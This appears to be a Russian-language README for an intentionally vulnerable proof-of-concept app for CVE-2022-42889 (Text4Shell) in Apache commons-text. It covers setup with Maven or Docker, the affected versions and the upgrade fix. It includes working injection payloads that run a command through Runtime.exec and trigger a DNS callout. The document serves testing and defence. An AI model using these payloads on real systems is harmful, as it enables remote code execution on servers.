CVE-2022-42889 PoC тестовое приложение

Это уязвимое приложение, разработанное в качестве Proof of Concept для уязвимости CVE-2022-42889.

Установка Maven

Для запуска вам понадобятся:

git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc

mvn clean install

Это создаст папку ./target, и внутри этой папки должен находиться JAR-файл text4shell-poc-0.0.1-SNAPSHOT.jar

java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar

По умолчанию это запустит веб-сервер на вашем localhost, прослушивающий порт 8080

Откройте веб-сервер по адресу http://localhost:8080/, и вы должны увидеть следующий вывод

Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent

Примеры эксплойт-payload

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}

${dns:<burp collaborator host>)}

Рекомендуемый URL-энкодер для успешной демонстрации эксплуатации: https://www.urlencoder.org/.

В качестве альтернативы вы можете использовать Docker для запуска этого PoC:

git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc

docker build --tag=text4shell-poc .

docker run -p 80:8080 text4shell-poc

http://localhost/

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

${dns:<burp collaborator host>)}

Рекомендуемый URL-энкодер для успешной демонстрации эксплуатации: https://www.urlencoder.org/.

В качестве альтернативы вы можете проверить эффективность инструментов сканирования, таких как text4shell-scan

Чтобы ваш код был уязвим, необходимо:

Использовать версию Apache commons-text от 1.5.0 до 1.10.0 (не включая)
Использовать интерполяцию для вашей StringSubstituion (см. https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) - обратите внимание, что это не очень распространено

Исправление заключается в обновлении ваших экземпляров commons-text до версии 1.10.0 или новее.

Bryan Smith